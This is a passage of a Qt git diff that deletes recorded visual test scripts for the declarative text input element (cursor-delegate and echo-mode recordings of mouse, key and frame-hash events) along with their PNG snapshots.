"140bc4b078bac52d6903bdfdfc35a94c" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 190; y: 127 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6944 - hash: "047c3a7403ae88cceb7fc875793d1ed8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 181; y: 127 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 172; y: 127 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6960 - hash: "03d48446aaf94450a3a9a8f1e956493f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 163; y: 127 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6976 - hash: "6672e47aa6a975fbd82d2fe5bc99bbaf" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 154; y: 126 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6992 - hash: "3bc73489d06e446d4c96117756a59227" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 146; y: 124 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 138; y: 121 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7008 - hash: "aed995a61df4a1c189ef2962000d02de" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 130; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7024 - hash: "aed995a61df4a1c189ef2962000d02de" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 123; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7040 - hash: "74f0bbe92a23146fbdbd365edd5741c8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 118; y: 118 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 114; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7056 - hash: "74f0bbe92a23146fbdbd365edd5741c8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 110; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7072 - hash: "6456208c6367687b8dc701791eccd7d4" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 108; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7088 - hash: "376b59dc6e00a51bc9f2d4cfa2718e57" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 107; y: 117 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 106; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7104 - hash: "fb7bc3401f70ce6eee131c9c7510e1fe" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 105; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7120 - hash: "675a419f0cd8351d6b2a65daf7d2707a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 104; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7136 - hash: "2f7951abac64e0f10d3b66d04966b6e9" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 103; y: 117 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 102; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7152 - hash: "1f8daa78c58ae11ec105bd87681c1762" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 101; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7168 - hash: "23ab196ed43219c26d94431698f6ac8d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 100; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7184 - hash: "9581e2695f4818e063ec032cb5bb6b7f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 100; y: 119 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 100; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7200 - hash: "6752cd7c5383e0ccc9b08f79db6ac310" - } - Frame { - msec: 7216 - hash: "51f5675e0fb1410c5a8ec03a86b42681" - } - Frame { - msec: 7232 - hash: "c3c23213b2649b5ccabd8e420a251e00" - } - Frame { - msec: 7248 - hash: "02ceab31171fe983a10e862b53aea16f" - } - Frame { - msec: 7264 - hash: "8a774dda9a1bc16bd270724e570daf20" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 100; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7280 - hash: "2b6b892cebfcce14a9db485fecf16703" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 101; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7296 - hash: "8b8e6d3362f018cbd9b487f03cfb7a22" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 101; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7312 - hash: "a8477a9429633384073618cc60841e6c" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 102; y: 119 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 102; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7328 - hash: "59558c6665b73f02809259e039b4423a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 103; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7344 - hash: "93540071bab8a970a929d209f628970e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 104; y: 119 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 105; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7360 - hash: "78cdb0a05583150ea33040d32d95de47" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 107; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7376 - hash: "4b1ee34985d3f5b8dd4355678ad39af4" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 110; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7392 - hash: "5484e7699c388eabf0311de49706397f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 113; y: 119 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 117; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7408 - hash: "dee6c2380f398323002ebb43a38d27e8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 124; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7424 - hash: "d66a27728e7fd3c616842613a034c5a0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 131; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7440 - hash: "5f851161f99fcf5b67cbe008a3faf411" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 138; y: 118 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 144; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7456 - hash: "013e949285cfa9edb34ab14e26753230" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 148; y: 118 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 152; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7472 - hash: "5b50acdcbd49969bcce2cfab6f9af380" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 155; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7488 - hash: "d4aeb24211007cfc01512d289ae7aa01" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 157; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7504 - hash: "6f1b7e12bbf54586e9a48989145f3274" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 159; y: 116 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 162; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7520 - hash: "0e09c7468bc03770c6cc7f0fba1ee9c0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 163; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7536 - hash: "0fc4522bbf1a2e72002eb0a3c7224e1f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 165; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7552 - hash: "91727292aaa314bf263c618a577b7f74" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 166; y: 116 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 168; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7568 - hash: "a78fb2545d11c521a50a10fd2d1700a7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 171; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7584 - hash: "c207a291b47628921125acd4b8ed5ea8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 174; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7600 - hash: "9a8e3df504ba36e82c51d71a3f5ce268" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 177; y: 116 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 183; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7616 - hash: "8cd9da94db91da50ae457d41866a32ba" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 188; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7632 - hash: "9e52b6fdc3ce4ad9c5986e47ffa762fc" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 193; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7648 - hash: "a1aff55bffb76bd4e2ac9ee482a03978" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 198; y: 119 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 206; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7664 - hash: "ba52431b72683cfbf0cc795a2407630e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 209; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7680 - image: "cursorDelegate.7.png" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 211; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7696 - hash: "eb5a19fbfbdceef233ed3c86c782817c" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 212; y: 119 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 212; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7712 - hash: "7c8f3f2e96fa6a63867cb716061c8c77" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 213; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7728 - hash: "96b0007f857aa19b41d184a7c7931f69" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 214; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7744 - hash: "96201712b9ffbd9bfbebb5a5b7e23aba" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 215; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7760 - hash: "d75e13a7715d5c329a47fdb818dfdbe5" - } - Frame { - msec: 7776 - hash: "c8fa0c2d9e6aa1f3a33e76a31534359d" - } - Frame { - msec: 7792 - hash: "03b11cc517f84c58a681906fdda98347" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 215; y: 118 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 215; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7808 - hash: "74cdf8af5d56216ad422951a56661536" - } - Frame { - msec: 7824 - hash: "fcac2575aad872eada547508f312f09c" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 216; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7840 - hash: "7d76aec1f29d2d6745585be8ef113be5" - } - Frame { - msec: 7856 - hash: "2b4fe4f39433671a9bc440efa1c589a8" - } - Frame { - msec: 7872 - hash: "55a166f920e76173e14121d848a11aa0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 216; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7888 - hash: "f764df8ecd68161d3529800e922254f4" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 216; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7904 - hash: "749caf21947e915b163f72e6fd190032" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 216; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7920 - hash: "c350910df8ae4fea573a20d334fd3401" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 217; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7936 - hash: "d177da450f1d380a6d2406e2393b9582" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 218; y: 115 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 218; y: 115 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7952 - hash: "bf3da78d7cac19daf2d5150b77840b1e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 219; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7968 - hash: "22e337b0b81b18045a205355da6981ad" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 220; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7984 - hash: "66c66927d2fc590fc43c146a403c1ccb" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 221; y: 114 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 222; y: 113 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8000 - hash: "66c66927d2fc590fc43c146a403c1ccb" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 222; y: 113 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8016 - hash: "66c66927d2fc590fc43c146a403c1ccb" - } - Frame { - msec: 8032 - hash: "66c66927d2fc590fc43c146a403c1ccb" - } - Frame { - msec: 8048 - hash: "66c66927d2fc590fc43c146a403c1ccb" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 222; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8064 - hash: "22e337b0b81b18045a205355da6981ad" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 222; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8080 - hash: "bf3da78d7cac19daf2d5150b77840b1e" - } - Frame { - msec: 8096 - hash: "d177da450f1d380a6d2406e2393b9582" - } - Frame { - msec: 8112 - hash: "c350910df8ae4fea573a20d334fd3401" - } - Frame { - msec: 8128 - hash: "749caf21947e915b163f72e6fd190032" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 222; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8144 - hash: "f764df8ecd68161d3529800e922254f4" - } - Frame { - msec: 8160 - hash: "55a166f920e76173e14121d848a11aa0" - } - Frame { - msec: 8176 - hash: "2b4fe4f39433671a9bc440efa1c589a8" - } - Frame { - msec: 8192 - hash: "7d76aec1f29d2d6745585be8ef113be5" - } - Frame { - msec: 8208 - hash: "fcac2575aad872eada547508f312f09c" - } - Frame { - msec: 8224 - hash: "74cdf8af5d56216ad422951a56661536" - } - Frame { - msec: 8240 - hash: "03b11cc517f84c58a681906fdda98347" - } - Frame { - msec: 8256 - hash: "c8fa0c2d9e6aa1f3a33e76a31534359d" - } - Frame { - msec: 8272 - hash: "d75e13a7715d5c329a47fdb818dfdbe5" - } - Frame { - msec: 8288 - hash: "96201712b9ffbd9bfbebb5a5b7e23aba" - } - Frame { - msec: 8304 - hash: "96b0007f857aa19b41d184a7c7931f69" - } - Frame { - msec: 8320 - hash: "bff5b731de7c93fa0cdcefbf99beeb5e" - } - Frame { - msec: 8336 - hash: "ce76704964873be1bc6a324d8a3381be" - } - Frame { - msec: 8352 - hash: "a31b4f2a3defc968098029328de9352d" - } - Frame { - msec: 8368 - hash: "295e3f40a511bd30e1c6599ead93619a" - } - Frame { - msec: 8384 - hash: "3cd74da8b04de8ec7446490dea0e4e6c" - } - Frame { - msec: 8400 - hash: "78a7db5a316609136d1b873d20d5dd3e" - } - Frame { - msec: 8416 - hash: "0f176fb11bfe26f872ef7103011df9e6" - } - Frame { - msec: 8432 - hash: "47866013e79bc77607e0c40bf8457bed" - } - Frame { - msec: 8448 - hash: "5f35467db5c5e0baf5caff90b97e2d0c" - } - Frame { - msec: 8464 - hash: "fefa89763cc1ad8323fdf37b1f5f63d3" - } - Frame { - msec: 8480 - hash: "b9823f88fa51944075ce6dedd695f097" - } - Frame { - msec: 8496 - hash: "72521de21fcc57d6ccf16350b0df8eee" - } - Frame { - msec: 8512 - hash: "fcd591a2e56ba5efa95b315b7bd10532" - } - Frame { - msec: 8528 - hash: "5d437d59995741030e0975829712f85d" - } - Frame { - msec: 8544 - hash: "e7189d174b181985b6aef10b8642726f" - } - Frame { - msec: 8560 - hash: "cefadbae14e573f6c83d07ffc3a5152e" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 277; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8576 - hash: "0fa12b48c08266f50e77506e4136dd56" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 277; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8592 - hash: "7aed794eae2f0c65342f190ed4d4f889" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 276; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8608 - hash: "23edee3af8f1904558863d37c520555a" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 276; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8624 - hash: "2f9ed13e8a0d0edf098b05db02c04bdf" - } - Frame { - msec: 8640 - image: "cursorDelegate.8.png" - } - Frame { - msec: 8656 - hash: "e189dc0dae9457a6af5082c6ccf451b6" - } - Frame { - msec: 8672 - hash: "62d4bfa65bfdc50d24d9204f4df7bad8" - } - Frame { - msec: 8688 - hash: "5a11ec8a0485a018ebe317e01136e4a5" - } - Frame { - msec: 8704 - hash: "9aa569f7b251371bdd1cb05c8d3aab28" - } - Frame { - msec: 8720 - hash: "a242c9d5ed7f9aef0a0622dcb66d0a7e" - } - Frame { - msec: 8736 - hash: "a0cb3f796fddf7100ca19aee3dedbea8" - } - Frame { - msec: 8752 - hash: "b4e273b6415e3951eab2f831100b0bb2" - } - Frame { - msec: 8768 - hash: "fd3fd655785c4e3c470f742451e3470f" - } - Frame { - msec: 8784 - hash: "7a9b2057760e48d5f9cfdc79b08866d8" - } - Frame { - msec: 8800 - hash: "2a55b52db02d97963d382c9862307384" - } - Frame { - msec: 8816 - hash: "c6c90915393fc7cb0aaa464caefbadb0" - } - Frame { - msec: 8832 - hash: "36b65658073ac2687dbd88ec7a408a98" - } - Frame { - msec: 8848 - hash: "84e165f9f2c55c5c51a260b11ca195c2" - } - Frame { - msec: 8864 - hash: "c11cfcfda6f161d058a3d9e93349b578" - } - Frame { - msec: 8880 - hash: "0568f8c0e1fa51b7547790a7f4978ea3" - } - Frame { - msec: 8896 - hash: "b66fd97ac36ac395df74e9a0dd58d0c7" - } - Frame { - msec: 8912 - hash: "31b5b3d68e452ffd90e9804ff9e9a264" - } - Frame { - msec: 8928 - hash: "3cc8791e419986e1e913d4e153243fb2" - } - Frame { - msec: 8944 - hash: "ff1b3ce85bc9f3dd3feb90fa31c3bc0a" - } - Frame { - msec: 8960 - hash: "d3ae969e538c642d82662d08ef05964e" - } - Frame { - msec: 8976 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 8992 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 9008 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 9024 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 9040 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 9056 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 9072 - hash: "d3ae969e538c642d82662d08ef05964e" - } - Frame { - msec: 9088 - hash: "ff1b3ce85bc9f3dd3feb90fa31c3bc0a" - } - Frame { - msec: 9104 - hash: "3cc8791e419986e1e913d4e153243fb2" - } - Frame { - msec: 9120 - hash: "31b5b3d68e452ffd90e9804ff9e9a264" - } - Frame { - msec: 9136 - hash: "b66fd97ac36ac395df74e9a0dd58d0c7" - } - Frame { - msec: 9152 - hash: "0568f8c0e1fa51b7547790a7f4978ea3" - } - Frame { - msec: 9168 - hash: "c11cfcfda6f161d058a3d9e93349b578" - } - Frame { - msec: 9184 - hash: "84e165f9f2c55c5c51a260b11ca195c2" - } - Frame { - msec: 9200 - hash: "36b65658073ac2687dbd88ec7a408a98" - } - Frame { - msec: 9216 - hash: "c6c90915393fc7cb0aaa464caefbadb0" - } - Frame { - msec: 9232 - hash: "2a55b52db02d97963d382c9862307384" - } - Frame { - msec: 9248 - hash: "7a9b2057760e48d5f9cfdc79b08866d8" - } - Frame { - msec: 9264 - hash: "fd3fd655785c4e3c470f742451e3470f" - } - Frame { - msec: 9280 - hash: "b4e273b6415e3951eab2f831100b0bb2" - } - Frame { - msec: 9296 - hash: "a0cb3f796fddf7100ca19aee3dedbea8" - } - Frame { - msec: 9312 - hash: "a242c9d5ed7f9aef0a0622dcb66d0a7e" - } - Frame { - msec: 9328 - hash: "9aa569f7b251371bdd1cb05c8d3aab28" - } - Frame { - msec: 9344 - hash: "5a11ec8a0485a018ebe317e01136e4a5" - } - Frame { - msec: 9360 - hash: "62d4bfa65bfdc50d24d9204f4df7bad8" - } - Frame { - msec: 9376 - hash: "e189dc0dae9457a6af5082c6ccf451b6" - } - Frame { - msec: 9392 - hash: "86ed2aa2428feb9c6c14ad2a74e97978" - } - Frame { - msec: 9408 - hash: "2f9ed13e8a0d0edf098b05db02c04bdf" - } - Frame { - msec: 9424 - hash: "23edee3af8f1904558863d37c520555a" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.0.png b/tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.0.png deleted file mode 100644 index 2b45a06..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.1.png b/tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.1.png deleted file mode 100644 index 1f5bae0..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.2.png b/tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.2.png deleted file mode 100644 index cb2b5a4..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.3.png b/tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.3.png deleted file mode 100644 index aa24805..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.4.png b/tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.4.png deleted file mode 100644 index aa24805..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.qml b/tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.qml deleted file mode 100644 index 873a86d..0000000 --- a/tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.qml +++ /dev/null @@ -1,1043 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 32 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Key { - type: 6 - key: 16777248 - modifiers: 33554432 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 48 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 64 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 80 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 96 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 112 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 128 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 144 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 160 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 176 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 192 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 208 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 224 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 240 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 256 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 272 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 288 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 304 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 320 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 336 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Frame { - msec: 352 - hash: "b73bd9c2fef8812591fff9f43b73da13" - } - Key { - type: 6 - key: 74 - modifiers: 33554432 - text: "4a" - autorep: false - count: 1 - } - Frame { - msec: 368 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 384 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 400 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 416 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 432 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Key { - type: 7 - key: 74 - modifiers: 33554432 - text: "4a" - autorep: false - count: 1 - } - Frame { - msec: 448 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 464 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 480 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 496 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 512 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 528 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Key { - type: 7 - key: 16777248 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 544 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 560 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 576 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 592 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 608 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 624 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 640 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 656 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 672 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Frame { - msec: 688 - hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" - } - Key { - type: 6 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 704 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Frame { - msec: 720 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Frame { - msec: 736 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Frame { - msec: 752 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Frame { - msec: 768 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Key { - type: 7 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 784 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Frame { - msec: 800 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Frame { - msec: 816 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Frame { - msec: 832 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Frame { - msec: 848 - hash: "fbc09d695e0b47aae6e977c13f535bfd" - } - Key { - type: 6 - key: 67 - modifiers: 0 - text: "63" - autorep: false - count: 1 - } - Frame { - msec: 864 - hash: "a4b81c526a5bf8902fde9b8721980977" - } - Frame { - msec: 880 - hash: 